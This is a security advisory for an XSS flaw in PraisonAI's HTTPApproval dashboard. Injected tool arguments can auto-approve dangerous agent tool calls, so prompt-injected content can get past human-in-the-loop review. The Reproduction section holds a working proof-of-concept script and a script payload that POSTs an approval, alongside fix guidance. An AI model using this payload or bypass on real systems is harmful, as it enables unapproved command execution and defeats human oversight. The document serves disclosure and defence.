GHSA-63v4-w882-g4x2: PraisonAI: XSS bypasses human-in-the-loop tool approval
GHSA-63v4-w882-g4x2 HIGHPraisonAI's HTTPApproval dashboard renders pending tool arguments as raw HTML without escaping, allowing an attacker who can influence agent inputs to embed a JavaScript payload that automatically approves dangerous tool calls (execute_command, execute_code, delete_file) the moment a human approver opens the review URL — before they can click Approve or Deny. This directly dismantles the human-in-the-loop safety boundary, the primary governance control for high-risk agentic actions. The attack is low-complexity (CVSS 8.8, AV:N/AC:L) and requires only User Interaction from the approver; any deployment where external or untrusted content reaches agent task inputs is exposed. Upgrade praisonai to 4.6.59 immediately; if patching is blocked, disable HTTPApproval and fall back to console-based approval until the fix is applied.
What is the risk?
CVSS 8.8 High with Network attack vector and Low complexity places this firmly in the urgent-patch category. Exploitability is practical: an attacker needs only to influence agent task inputs (prompt injection, user-supplied data, RAG content) to plant the XSS payload — a realistic threat surface for any agent that processes external data. The User Interaction requirement is weak mitigation because the approver is expected to open the review URL. The impact triad (C:H/I:H/A:H) reflects that successful exploitation grants the adversary arbitrary command execution with the privileges of the PraisonAI process, not just data leakage. The vulnerability is not yet in CISA KEV and EPSS data is unavailable, but the trivial exploitation path and high-value target (safety control bypass) elevate practical risk significantly above the base score alone.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | >= 4.5.2, <= 4.6.58 | 4.6.59 |
| PraisonAI Agents | pip | — | No patch |
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Patch immediately: upgrade praisonai to >= 4.6.59 where argument values, tool_name, risk_level, and agent_name are HTML-escaped before rendering.
-
If patching is blocked, switch approval_type to 'console' or 'cli' — avoid HTTPApproval entirely until fixed.
-
Add a restrictive Content-Security-Policy header to the approval server that blocks inline scripts (script-src 'self').
-
Audit agent task inputs for untrusted data sources (user prompts, RAG documents, external APIs) that could supply XSS payloads.
-
Review logs for unexpected /approve/{id}/decide POST requests that were not immediately preceded by human click events.
-
Treat any approval decision made under the affected version as potentially untrusted and re-audit tool execution logs for anomalous command runs.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-63v4-w882-g4x2?
PraisonAI's HTTPApproval dashboard renders pending tool arguments as raw HTML without escaping, allowing an attacker who can influence agent inputs to embed a JavaScript payload that automatically approves dangerous tool calls (execute_command, execute_code, delete_file) the moment a human approver opens the review URL — before they can click Approve or Deny. This directly dismantles the human-in-the-loop safety boundary, the primary governance control for high-risk agentic actions. The attack is low-complexity (CVSS 8.8, AV:N/AC:L) and requires only User Interaction from the approver; any deployment where external or untrusted content reaches agent task inputs is exposed. Upgrade praisonai to 4.6.59 immediately; if patching is blocked, disable HTTPApproval and fall back to console-based approval until the fix is applied.
Is GHSA-63v4-w882-g4x2 actively exploited?
No confirmed active exploitation of GHSA-63v4-w882-g4x2 has been reported, but organizations should still patch proactively.
How to fix GHSA-63v4-w882-g4x2?
1. Patch immediately: upgrade praisonai to >= 4.6.59 where argument values, tool_name, risk_level, and agent_name are HTML-escaped before rendering. 2. If patching is blocked, switch approval_type to 'console' or 'cli' — avoid HTTPApproval entirely until fixed. 3. Add a restrictive Content-Security-Policy header to the approval server that blocks inline scripts (script-src 'self'). 4. Audit agent task inputs for untrusted data sources (user prompts, RAG documents, external APIs) that could supply XSS payloads. 5. Review logs for unexpected /approve/{id}/decide POST requests that were not immediately preceded by human click events. 6. Treat any approval decision made under the affected version as potentially untrusted and re-audit tool execution logs for anomalous command runs.
What systems are affected by GHSA-63v4-w882-g4x2?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, human-in-the-loop pipelines, agentic tool orchestration, web-based AI approval workflows.
What is the CVSS score for GHSA-63v4-w882-g4x2?
GHSA-63v4-w882-g4x2 has a CVSS v3.1 base score of 8.8 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011 User Execution AML.T0049 Exploit Public-Facing Application AML.T0051.001 Indirect AML.T0053 AI Agent Tool Invocation AML.T0107 Exploitation for Defense Evasion Compliance Controls Affected
What are the technical details?
Original Advisory
# HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools ## Summary `praisonai.bots.HTTPApproval` renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's `/approve/{request_id}/decide` endpoint, causing `HTTPApproval` to return `approved=True`. The local PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at the approval decision. It does not execute the command. ## Affected Versions Proposed affected range: `>= 4.5.2, <= 4.6.57`. Validated affected: - current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1` (`v4.6.57-4-g2f9677ab`) - `v4.5.2` - `v4.5.3` - `v4.5.124` - `v4.5.126` - `v4.5.128` - `v4.6.10` - `v4.6.56` - `v4.6.57` `v4.5.0` and `v4.5.1` do not contain the HTTPApproval backend. ## Impact An attacker who can influence an agent task or prompt enough to produce a dangerous tool call can embed a short XSS payload in the tool argument. When the human approver opens the HTTP approval page, the script can approve the pending dangerous tool call before the human explicitly clicks Approve or Deny. This bypasses the human-in-the-loop approval boundary for dangerous tools such as `execute_command`, `execute_code`, `delete_file`, or other tools gated through `HTTPApproval`. If the agent continues after approval, the dangerous tool runs with the privileges of the PraisonAI process. ## Why This Is Not Intended Behavior PraisonAI documentation describes approval as a safety control that pauses an agent before risky tools and asks a human or configured channel to allow or deny execution. The documentation also lists `http` as a supported non-console approval backend. Opening the approval page to inspect a risky command should not itself approve the command. The current behavior allows attacker-controlled tool arguments to execute script in the approval page and submit the approval action. This is distinct from the previously published stored-XSS advisory for agent output rendering. That advisory concerned `src/praisonai/api.py` and missing `nh3` sanitization in older versions. This report concerns the `HTTPApproval` dashboard sink and remains present in current head. ## Root Cause In `src/praisonai/praisonai/bots/_http_approval.py`, `_build_html()` builds the approval page with raw f-string interpolation: - argument keys and values are appended to `args_html` without HTML escaping; - `tool_name`, `risk_level`, and `agent_name` are also interpolated into the returned HTML; - the generated page contains same-origin JavaScript that posts to `/approve/{request_id}/decide`. `_handle_decide()` accepts JSON from that endpoint and marks the pending request approved when `decision == "approve"`. Because the approval page is generated from the pending request's unescaped tool arguments, an injected script can call the same endpoint that the legitimate Approve button uses. The request id is unguessable, but the script runs inside the loaded approval page and can derive the endpoint from `location.pathname`. ## Reproduction The PoV is local-only and does not execute the dangerous tool command. Run it from a PraisonAI checkout or environment where `praisonai` and `praisonaiagents` import from the candidate version. ```python import asyncio import json import socket import aiohttp from praisonai.bots._http_approval import HTTPApproval from praisonaiagents.approval.protocols import ApprovalRequest def free_port(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1] payload = ( "touch /tmp/prai010 # " "</code><script>" "fetch(location.pathname+'/decide',{" "method:'POST',headers:{'Content-Type':'application/json'}," "body:'{\"decision\":\"approve\"}'})" "</script><code>" ) async def main(): backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5) request = ApprovalRequest( tool_name="execute_command", arguments={"command": payload}, risk_level="critical", agent_name="pov-agent", ) task = asyncio.create_task(backend.request_approval(request)) request_id = "" for _ in range(100): if backend._pending: request_id = next(iter(backend._pending)) break await asyncio.sleep(0.05) assert request_id url = f"http://127.0.0.1:{backend._port}/approve/{request_id}" async with aiohttp.ClientSession() as session: async with session.get(url) as response: page = await response.text() raw_script_present = "<script>fetch(location.pathname+'/decide'" in page script_not_html_escaped = "<script" not in page payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page payload_not_truncated = "..." not in page[ page.find("<script>"):page.find("<script>") + len(payload) + 10 ] assert raw_script_present assert script_not_html_escaped assert payload_not_truncated # Same request the injected same-origin script submits. async with session.post(f"{url}/decide", json={"decision": "approve"}) as response: post_body = await response.text() decision = await task await backend.shutdown() print(json.dumps({ "payload_len": len(payload), "payload_shell_prefix": "touch /tmp/prai010", "raw_script_present": raw_script_present, "script_not_html_escaped": script_not_html_escaped, "payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint, "payload_not_truncated": payload_not_truncated, "post_body": post_body, "decision_approved": decision.approved, "decision_reason": decision.reason, "vulnerable": bool( raw_script_present and script_not_html_escaped and payload_uses_same_origin_decide_endpoint and payload_not_truncated and decision.approved ), }, indent=2)) asyncio.run(main()) ``` Expected affected output includes: ```json { "payload_len": 175, "payload_shell_prefix": "touch /tmp/prai010", "raw_script_present": true, "script_not_html_escaped": true, "payload_uses_same_origin_decide_endpoint": true, "payload_not_truncated": true, "decision_approved": true, "vulnerable": true } ``` The relevant injected argument shape is: ```text touch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})</script><code> ``` The shell prefix demonstrates that the same argument can be executable shell syntax after approval; the PoV stops before executing the tool. ## Suggested Fix Escape every untrusted value before inserting it into the approval HTML: - `tool_name` - `risk_level` - `agent_name` - every argument key - every argument value For example, use `html.escape(str(value), quote=True)` or a template engine that auto-escapes by default. Add regression tests that include `</code><script>...` in tool arguments and assert that the rendered page contains escaped text, not a script element. Minimal patch shape: ```python from html import escape def h(value: object) -> str: return escape(str(value), quote=True) tool_name = h(info.get("tool_name", "unknown")) risk_level = h(info.get("risk_level", "unknown")) agent_name = h(info.get("agent_name", "")) args_html = "" for k, v in arguments.items(): val_str = str(v) if len(val_str) > 200: val_str = val_str[:197] + "..." args_html += ( f"<tr><td><code>{h(k)}</code></td>" f"<td><code>{h(val_str)}</code></td></tr>" ) ``` Additional hardening: - avoid inline JavaScript and add a restrictive Content Security Policy; - keep the request id as an unguessable capability, but do not rely on it as an XSS defense; - consider requiring a per-request decision token outside attacker-controlled rendered argument fields.
Exploitation Scenario
An attacker targeting an organization running PraisonAI with HTTPApproval crafts a malicious document or user prompt that causes the agent to invoke execute_command with an argument containing the XSS payload: a shell command prefix followed by a closing tag and an inline fetch() script targeting location.pathname+'/decide'. The HTTPApproval backend generates the review page using raw f-string interpolation, embedding the unescaped script tag. When the security team member opens the approval URL to inspect the suspicious command, the browser silently fires a same-origin POST to /approve/{request_id}/decide with decision='approve' before the human reads the page. PraisonAI marks the request approved, and the agent executes the original shell command with the process's full OS privileges — all while the reviewer believes they are still evaluating the request.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-61447 10.0 PraisonAI: RCE via unsandboxed LLM code execution
Same package: praisonai CVE-2026-61445 9.9 PraisonAI: AICoder root RCE via unsanitized tool calls
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-vmmj-pfw7-fjwp 9.9 praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai